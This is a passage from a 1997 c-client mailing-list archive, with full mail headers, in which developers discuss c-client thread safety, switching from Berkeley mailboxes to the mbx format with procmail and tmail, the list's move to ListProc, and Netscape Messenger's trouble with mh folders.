ctime() calls are gone now), there's no excuse for gethostbyname() etc to be unsafe. Nonetheless, it's a real concern. I understand that there are even some stdio implementations are also not thread-safe! > You're probably better off starting from scratch and just stealing the > good ideas from c-client (e.g. driver model, bezerk UID model, etc) if you > want a multi-threaded application. The other option is to substitute your own thread-safe C library. From pinedev@shivax2.cac.washington.edu Thu Mar 20 13:25:28 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 13:25:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA28033 for ; Thu, 20 Mar 1997 13:25:27 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id NAA29407 for c-client-out; Thu, 20 Mar 1997 13:23:54 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from venus.Sun.COM (venus.Sun.COM [192.9.25.5]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA29403 for ; Thu, 20 Mar 1997 13:23:50 -0800 Received: from Eng.Sun.COM ([129.146.1.25]) by venus.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA13498; Thu, 20 Mar 1997 13:23:46 -0800 Received: from jurassic.eng.sun.com by Eng.Sun.COM (SMI-8.6/SMI-5.3) id NAA19641; Thu, 20 Mar 1997 13:23:43 -0800 Received: from roam by jurassic.eng.sun.com (SMI-8.6/SMI-SVR4) id NAA19904; Thu, 20 Mar 1997 13:23:44 -0800 Date: Thu, 20 Mar 1997 13:20:10 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: In search of further information about c-client and multi-threading... To: Kenneth Maupin Cc: c-client@cac.washington.edu In-Reply-To: "Your message with ID" <33318913.21B1@tactica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > Is there documentation anywhere that describes in detail the issues >involved in using c-client with a multi-threaded application? Pointers >to sample code would also be helpful. I'm new to multi-threaded >application development and am looking for some elaboration on the >documentation in "Internal.DOC". We've multithreaded the c-client (proprietary code), and it is a pain but acheivable. You must really understand the structure of the code - and seriously restructure it. It was worth the effort! Bill From pinedev@shivax2.cac.washington.edu Thu Mar 20 13:43:10 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 13:43:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA31289 for ; Thu, 20 Mar 1997 13:43:08 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id NAA09932 for c-client-out; Thu, 20 Mar 1997 13:41:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from venus.Sun.COM (venus.Sun.COM [192.9.25.5]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA09928 for ; Thu, 20 Mar 1997 13:41:27 -0800 Received: from Eng.Sun.COM ([129.146.1.25]) by venus.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA14874; Thu, 20 Mar 1997 13:36:11 -0800 Received: from jurassic.eng.sun.com by Eng.Sun.COM (SMI-8.6/SMI-5.3) id NAA22058; Thu, 20 Mar 1997 13:36:08 -0800 Received: from roam by jurassic.eng.sun.com (SMI-8.6/SMI-SVR4) id NAA22211; Thu, 20 Mar 1997 13:36:09 -0800 Date: Thu, 20 Mar 1997 13:32:36 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: In search of further information about c-client and multi-threading... To: Mark Crispin Cc: Chris Newman , Kenneth Maupin , c-client@cac.washington.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII >A slight correction: Most of the global variables in c-client are those which >are appropriate for all threads, and probably should be shared across threads. Right. But, the REAL problem is creating a SAFE way of passing these parameters to routines since they can no longer be GLOBAL. Different streams need private copies of nearly all globals. The globals are for the most part well organized, but as Chris said, the NIL stream is a killer you need to eliminate, and then we have all of those mm_* calls that do not pass a stream, and all of those other functions that use globals to which no stream is passed. Tons of problems BUT one can do it. >Nonetheless, it's a real concern. I understand that there are even some stdio >implementations are also not thread-safe! Finally, the SIMPLE part was substituting already MT-Safe versions of the various library calls. Only one was problematic, and it was not gethostbyname()! This is NOT to knock Mark's code. MT-Safe is not a major concern when you need to port across multiple platforms which is difficult enough. Bill From pinedev@shivax2.cac.washington.edu Thu Mar 20 13:57:21 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 13:57:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA31512 for ; Thu, 20 Mar 1997 13:57:19 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id NAA10276 for c-client-out; Thu, 20 Mar 1997 13:55:34 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from venus.Sun.COM (venus.Sun.COM [192.9.25.5]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA10272 for ; Thu, 20 Mar 1997 13:55:31 -0800 Received: from Eng.Sun.COM ([129.146.1.25]) by venus.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id NAA17178 for ; Thu, 20 Mar 1997 13:55:30 -0800 Received: from basilisk.Eng.Sun.COM by Eng.Sun.COM (SMI-8.6/SMI-5.3) id NAA26026; Thu, 20 Mar 1997 13:55:28 -0800 Received: from pitts by basilisk.Eng.Sun.COM (SMI-8.6/SMI-SVR4) id NAA20484; Thu, 20 Mar 1997 13:55:31 -0800 Date: Thu, 20 Mar 1997 13:55:23 -0800 (PST) From: "Doug Royer [N6AAW]" Reply-To: "Doug Royer [N6AAW]" Subject: Re: In search of further information about c-client and multi-threading... To: c-client@cac.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 0Rbq6Ma6x3PHorDHfhqB5Q== X-Mailer: dtmail 1.1.0 CDE Version 1.1_57 SunOS 5.5.1 sun4m sparc > On Thu, 20 Mar 1997 11:42:39 -0800 (PST), Chris Newman wrote: > > You're probably better off starting from scratch and just stealing the > > good ideas from c-client (e.g. driver model, bezerk UID model, etc) if you > > want a multi-threaded application. Or just go through it an fix the mt-unsafe code. > From: Mark Crispin > The other option is to substitute your own thread-safe C library. That is not the only problem. Many of the initialization assumptions made in c-client are not mt-safe and would need to be wrapped by something like pthread_once(), like the env_init() function in env_unix.c. if (myUserName) fatal ("env_init called twice!",stream); Not an MT-safe way of handling a problem. It is possible that two threads calling myusername_full() could both get past "if (!myUserName)" and call env_init(). Mutex locks might be able to handle some of the problems. Others functions would need to be rewritten. I can come up with many examples like this in c-client. I am not criticizing c-client. It was written before most OS's (including Unix) had threads. And long before POSIX threads. From pinedev@shivax2.cac.washington.edu Thu Mar 20 14:10:21 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 14:10:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA31549 for ; Thu, 20 Mar 1997 14:10:20 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id OAA00634 for c-client-out; Thu, 20 Mar 1997 14:08:19 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost.cmc.net (mailhost.cmc.net [206.102.31.250]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA00630 for ; Thu, 20 Mar 1997 14:08:16 -0800 Received: from thorin.cmc.net (bem@thorin.cmc.net [206.102.31.253]) by mailhost.cmc.net (8.8.5/8.7.3) with SMTP id OAA22156 for ; Thu, 20 Mar 1997 14:11:53 -0800 (PST) Date: Thu, 20 Mar 1997 14:11:29 -0800 (PST) From: Brian Moore Reply-To: Brian Moore Subject: Getting Rid of Berkeley Mailboxes.... To: c-client@cac.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Okay, I really want to use some of the IMAP features like shared access and those damned Berkeley mailboxes won't let me do that. So what would be a good format? There are -NO- local users on the mail server so I can blow off compatibility with Elm/PINE/etc, as long as its one of the formats that c-client deals with. My only real gotcha: I want to keep procmail somewhere in line. I trust it as a local delivery agent, and I need its filtering for anti-spam filters in place here. If there is a compelling enough argument for something that refuses to work with procmail, I'll look at it -- if it has a way to filter mail. Any suggestions? From pinedev@shivax2.cac.washington.edu Thu Mar 20 15:09:52 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 15:09:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id PAA00249 for ; Thu, 20 Mar 1997 15:09:51 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id PAA01992 for c-client-out; Thu, 20 Mar 1997 15:07:27 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id PAA01985 for ; Thu, 20 Mar 1997 15:07:22 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id PAA08039; Thu, 20 Mar 1997 15:07:20 -0800 Date: Thu, 20 Mar 1997 15:04:30 -0800 (PST) From: Mark Crispin Subject: re: Getting Rid of Berkeley Mailboxes.... To: Brian Moore cc: c-client@cac.washington.edu In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 20 Mar 1997 14:11:29 -0800 (PST), Brian Moore wrote: > Okay, I really want to use some of the IMAP features like shared access and > those damned Berkeley mailboxes won't let me do that. > > So what would be a good format? I recommend mbx format, which is new in imap-4.1 and is the current preferred alternative format. Rather than use the evil imapd.conf file, I recommend that you edit the makefile in the c-client directory to set STDPROTO to mbxproto. For delivery, I recommend using tmail, part of the imap-utils, to write directory to ~/INBOX and not use the spool directory at all. > My only real gotcha: I want to keep procmail somewhere in line. I think that Dave Miller (dlm@cac.washignton.edu) has some experience with using procmail with tmail. From pinedev@shivax2.cac.washington.edu Thu Mar 20 15:29:36 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 15:29:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id PAA00695 for ; Thu, 20 Mar 1997 15:29:32 -0800 (PST) Received: (from daemon@localhost) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id PAA02507 for c-client-out; Thu, 20 Mar 1997 15:27:56 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shell.eglobe.com (shell.eglobe.com [206.26.118.100]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id PAA02503 for ; Thu, 20 Mar 1997 15:27:53 -0800 Received: (qmail 18234 invoked by uid 201); 20 Mar 1997 23:27:00 -0000 Date: Thu, 20 Mar 1997 16:26:59 -0700 (MST) From: Chunan Chen X-Sender: chunan@shell To: c-client@cac.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII unsubscribe From pinedev@shivax2.cac.washington.edu Thu Mar 20 16:23:06 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 16:23:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA02034 for ; Thu, 20 Mar 1997 16:23:03 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id QAA13875 for c-client-out; Thu, 20 Mar 1997 16:21:08 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from world.net (sydney2.world.net [198.142.12.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA13871 for ; Thu, 20 Mar 1997 16:21:04 -0800 Received: from benjii (benjii.tactica.com [198.145.12.1]) by world.net (8.8.5/8.6.6) with SMTP id LAA24454 for ; Fri, 21 Mar 1997 11:20:47 +1100 (EST) Received: from engr15 by benjii (4.1/SMI-4.1) id AA13528; Thu, 20 Mar 97 16:20:13 PST Message-Id: <3331D42D.3BCD@tactica.com> Date: Thu, 20 Mar 1997 16:19:57 -0800 From: Kenneth Maupin Organization: Tactica Corporation X-Mailer: Mozilla 3.0 (WinNT; I) Mime-Version: 1.0 To: c-client@cac.washington.edu Subject: Re: In search of further information about c-client and multi-threading... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Mark Crispin wrote: > > On Thu, 20 Mar 1997 11:42:39 -0800 (PST), Chris Newman wrote: > > c-client is not designed for use with a multi-threaded application. It > > uses tons of non-thread safe library calls (strtok, readdir, ctime, > > gethostbyname, etc) and has lots of global variables. > > A slight correction: Most of the global variables in c-client are those which > are appropriate for all threads, and probably should be shared across threads. > > The non-thread safe library calls are a different matter. Personally, I > consider that to be bad design in the C library. While some, such as > strtok(), are obviously problematic (by the way, I think that all ctime() > calls are gone now), there's no excuse for gethostbyname() etc to be unsafe. > > Nonetheless, it's a real concern. I understand that there are even some stdio > implementations are also not thread-safe! > > > You're probably better off starting from scratch and just stealing the > > good ideas from c-client (e.g. driver model, bezerk UID model, etc) if you > > want a multi-threaded application. > > The other option is to substitute your own thread-safe C library. I should've mentioned in my original message that I'm developing primarily in NT 4 and Win95 using Visual C++ 4.2. Assuming libcmt.lib and friends in the Visual C++ library are thread-safe, which parts of c-client remain unsafe? Thanks for all of your repsonses on this topic... - Ken - From pinedev@shivax2.cac.washington.edu Thu Mar 20 16:28:31 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 16:28:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA01893 for ; Thu, 20 Mar 1997 16:28:30 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id QAA14016 for c-client-out; Thu, 20 Mar 1997 16:26:53 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA14009; Thu, 20 Mar 1997 16:26:47 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mailhost1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id QAA01295; Thu, 20 Mar 1997 16:26:46 -0800 Date: Thu, 20 Mar 1997 16:26:41 -0800 (PST) From: David L Miller To: Mark Crispin cc: Brian Moore , c-client@cac.washington.edu Subject: re: Getting Rid of Berkeley Mailboxes.... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 20 Mar 1997, Mark Crispin wrote: > > My only real gotcha: I want to keep procmail somewhere in line. > > I think that Dave Miller (dlm@cac.washignton.edu) has some experience with > using procmail with tmail. Yup. You can use procmail to deliver to non-Berkeley mailboxes by piping the messages to tmail. There are a couple gotchas though. One problem is that Sendmail prepends a Berkeley "From " line to messages and procmail leaves it there. I think the current tmail has been modified to strip or convert that line into something unobtrusive. The alternative is to put something into the procmail script to strip that line. The other problem, which I have not found a reliable workaround for, is that delivery using user+folder@domain doesn't always work the way I want it to. If a message is sent to foo+bar@baz.com, but the RFC822 headers do not include that information (e.g. a Bcc), how do I tell tmail to deliver to foo+bar? For individual delivery, the address can be extracted from the Recieved: headers, but that doesn't work if multiple mailboxes recieve the final delivery. Also note that procmail is perfectly happy to deliver mail in Berkeley format to a non-Berkeley folder, so may sure your procmailrc cannot fall through to deliver to a non-Berkeley folder! Good luck! -- David L. Miller | Science without religion is lame, Software Engineer, Pine Development Team | religion without science is blind. Box 354841, University of Washington | -- A. Einstein 4545 15th Ave NE, Seattle WA 98105, USA | Phone: (206)685-6240 FAX: (206)685-4045 | From pinedev@shivax2.cac.washington.edu Thu Mar 20 18:26:20 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 18:26:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA03869 for ; Thu, 20 Mar 1997 18:26:19 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id SAA16878 for c-client-out; Thu, 20 Mar 1997 18:24:14 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost.cmc.net (mailhost.cmc.net [206.102.31.250]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA16874; Thu, 20 Mar 1997 18:24:11 -0800 Received: from durin.cmc.net (bem@durin.cmc.net [206.102.31.200]) by mailhost.cmc.net (8.8.5/8.7.3) with SMTP id SAA02689; Thu, 20 Mar 1997 18:27:45 -0800 (PST) Date: Thu, 20 Mar 1997 18:23:29 -0800 (PST) From: Brian Moore To: David L Miller cc: c-client@cac.washington.edu Subject: re: Getting Rid of Berkeley Mailboxes.... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 20 Mar 1997, David L Miller wrote: > On Thu, 20 Mar 1997, Mark Crispin wrote: > > > > My only real gotcha: I want to keep procmail somewhere in line. > > > > I think that Dave Miller (dlm@cac.washignton.edu) has some experience with > > using procmail with tmail. > > Yup. You can use procmail to deliver to non-Berkeley mailboxes by > piping the messages to tmail. There are a couple gotchas though. One > problem is that Sendmail prepends a Berkeley "From " line to messages > and procmail leaves it there. I think the current tmail has been > modified to strip or convert that line into something unobtrusive. > The alternative is to put something into the procmail script to strip > that line. Sounds good enough, I'll look at tmail to see if I grok the mbx format. As long as it's not one-file-per-message (i-node eater!) I'm happy. :) I'll play with it on my personal boxes and see how well it works before I start hacking the real server. > The other problem, which I have not found a reliable workaround for, > is that delivery using user+folder@domain doesn't always work the way > I want it to. If a message is sent to foo+bar@baz.com, but the RFC822 > headers do not include that information (e.g. a Bcc), how do I tell > tmail to deliver to foo+bar? For individual delivery, the address can > be extracted from the Recieved: headers, but that doesn't work if > multiple mailboxes recieve the final delivery. Hrrm. Kill the 'm' option in the local mailer, and let /etc/procmailrc pass the whole username as an argument to tmail should work. I do like the 'm' option (makes for faster delivery to lists with multiple local recipients if the list is smart), but it brings about other oddities anyway. > Also note that procmail is perfectly happy to deliver mail in Berkeley > format to a non-Berkeley folder, so may sure your procmailrc cannot > fall through to deliver to a non-Berkeley folder! Well, with no shell accounts 'cept admin ones, that's easy. :) There is a nice big global spam filter that works quite well and as long as I get to keep that, life is peachy. The concept of changing 'support@cmc.net' into a shared folder that people could 'checkout' items from and add items too is just too useful. :) From pinedev@shivax2.cac.washington.edu Thu Mar 20 18:41:20 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 20 Mar 1997 18:41:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA03885 for ; Thu, 20 Mar 1997 18:41:19 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id SAA17103 for c-client-out; Thu, 20 Mar 1997 18:39:56 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA17093; Thu, 20 Mar 1997 18:39:52 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id SAA03997; Thu, 20 Mar 1997 18:39:49 -0800 Date: Thu, 20 Mar 1997 18:38:50 -0800 (PST) From: Mark Crispin Subject: re: Getting Rid of Berkeley Mailboxes.... To: Brian Moore cc: David L Miller , c-client@cac.washington.edu In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 20 Mar 1997 18:23:29 -0800 (PST), Brian Moore wrote: > Sounds good enough, I'll look at tmail to see if I grok the mbx format. > As long as it's not one-file-per-message (i-node eater!) I'm happy. :) mbx format is implemented by c-client's mbx driver, not by tmail. tmail uses c-client to deliver. mbx format is a flat-file format, not an inode eater format. From pinedev@shivax2.cac.washington.edu Sun Mar 23 22:26:16 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Sun, 23 Mar 1997 22:26:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id WAA16788 for ; Sun, 23 Mar 1997 22:26:14 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id WAA21187 for c-client-out; Sun, 23 Mar 1997 22:21:31 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from alpha.galtronics.co.il (alpha.galtronics.co.il [204.141.68.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id WAA21177 for ; Sun, 23 Mar 1997 22:21:21 -0800 Received: from www.galtronics.co.il (www.galtroics.co.il [204.141.68.3]) by alpha.galtronics.co.il (8.7.3/8.7.3) with SMTP id IAA04230 for ; Mon, 24 Mar 1997 08:22:37 +0200 (IST) Date: Mon, 24 Mar 97 08:20:48 Israel Standard Time From: Aladdin Khamis To: c-client@cac.washington.edu X-Mailer: Chameleon ATX 6.0, Standards Based IntraNet Solutions, NetManage Inc. X-Priority: 3 (Normal) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII unsubscribe From pinedev@shivax2.cac.washington.edu Tue Apr 1 14:50:27 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 1 Apr 1997 14:50:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA28872 for ; Tue, 1 Apr 1997 14:50:20 -0800 (PST) Received: (from daemon@localhost) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) id OAA24508 for c-client-out; Tue, 1 Apr 1997 14:28:18 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA24367; Tue, 1 Apr 1997 14:25:39 -0800 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id OAA25600; Tue, 1 Apr 1997 14:25:38 -0800 Date: Tue, 1 Apr 1997 14:25:35 -0800 (PST) From: David L Miller Reply-To: David L Miller To: c-client@cac.washington.edu, imap@cac.washington.edu Subject: IMAP and C-Client lists being automated Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII We are in the process of moving the c-client@cac.washington.edu and imap@cac.washington.edu mailing lists from the current manually maintained lists to our campus ListProc server. You DO NOT need to do anything, all current subscriptions will be moved without any intervention needed on your part. You should see a welcome message from ListProc@U.Washington.EDU shortly with further information about the ListProc system. There will be a slight change in the headers on messages from the lists, but we have made every effort to minimize the differences. Messages to the lists can still be sent to the same addresses, {imap|c-client}@CAC.Washington.EDU. For those who prefer a digested form, daily digests will now be available. See the ListProc documentation for details. Requests sent to imap-request and c-client-request will be directed to listproc@u.washington.edu. If you need human assistance, please contact dlm@cac.washington.edu or mrc@cac.washington.edu. We apologize if this causes any inconvenience or confusion! -- David L. Miller | When ideas fail, words come in Software Engineer, Pine Development Team | very handy. -- Goethe Box 354841, University of Washington | 4545 15th Ave NE, Seattle WA 98105, USA | Phone: (206)685-6240 FAX: (206)685-4045 | From pinedev@shivax2.cac.washington.edu Mon Apr 7 11:04:13 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 7 Apr 1997 11:04:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA00477 for ; Mon, 7 Apr 1997 11:04:08 -0700 (PDT) Received: from lists2.u.washington.edu (lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA08068; Mon, 7 Apr 1997 11:03:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id KAA04643; Mon, 7 Apr 1997 10:58:49 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA51058 for ; Mon, 7 Apr 1997 10:58:20 -0700 Received: from mail12.digital.com (mail12.digital.com [192.208.46.20]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA03493 for ; Mon, 7 Apr 1997 10:58:15 -0700 Received: from quarry.zk3.dec.com by mail12.digital.com (8.7.5/UNX 1.5/1.0/WV) id NAA14128; Mon, 7 Apr 1997 13:48:26 -0400 (EDT) Received: from islet.zk3.dec.com by quarry.zk3.dec.com; (5.65v3.2/1.1.8.2/16Jan95-0946AM) id AA22703; Mon, 7 Apr 1997 13:48:26 -0400 Message-Id: <9704071748.AA22703@quarry.zk3.dec.com> Date: Mon, 07 Apr 97 13:48:26 -0400 Reply-To: pderr@zk3.dec.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Peter Derr" To: c-client@u.washington.edu Subject: problems using Netscape Messenger with IMAP and mh Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: exmh version 1.6.7 5/3/96 X-Face: *Ck*L4Ya{,`?^Cd%O~.N}/[vGHKI"Qz8J`.5!t]3+*,5hqrn1b0IXJ&z<#vP{AR(TIR'|f^ d7\h0eVBzEfyt"Fk)j98n3}S\Pt:jD*sA)F`\nHrV^ClLov$;-GUFPP\uQS2L3|c+xn#h0k%^G1}N] [.L@TxmDVOHgj](mtS X-Mts: smtp X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've been trying to use Netscape Messenger (in Communicator preview release 3) with the UW IMAP server (latest version 4rev1) but it really doesn't work well. I was wondering if anyone has had any better luck. My mail is in mh folders and I've had good luck with Pine (using the #mh/ prefix), although Pine doesn't appear to know how to discover folders nested in the hierarchy. So I told Netscape Messenger to use the #mh/ prefix. It seems to find all the folders (even the nested ones!). It displays the message headers and the first message I select OK, but then no matter what message I pick, it always displays the first message I picked. Also, for some reason, the #mh/inbox folder shows no messages (although it actually contains 700 messages). It seems to be confusing "inbox" with "INBOX" which it maps to the mail spool file. It seems to need a customizable "inbox-path" like Pine which could be used to specify the "#MHINBOX". It seems to work OK on flat-file mailbox format folders. Any hints on how to make this work better? (Other than convert from mh :-( ) Thanks, Peter From pinedev@shivax2.cac.washington.edu Mon Apr 7 12:18:18 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 7 Apr 1997 12:18:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id MAA00820 for ; 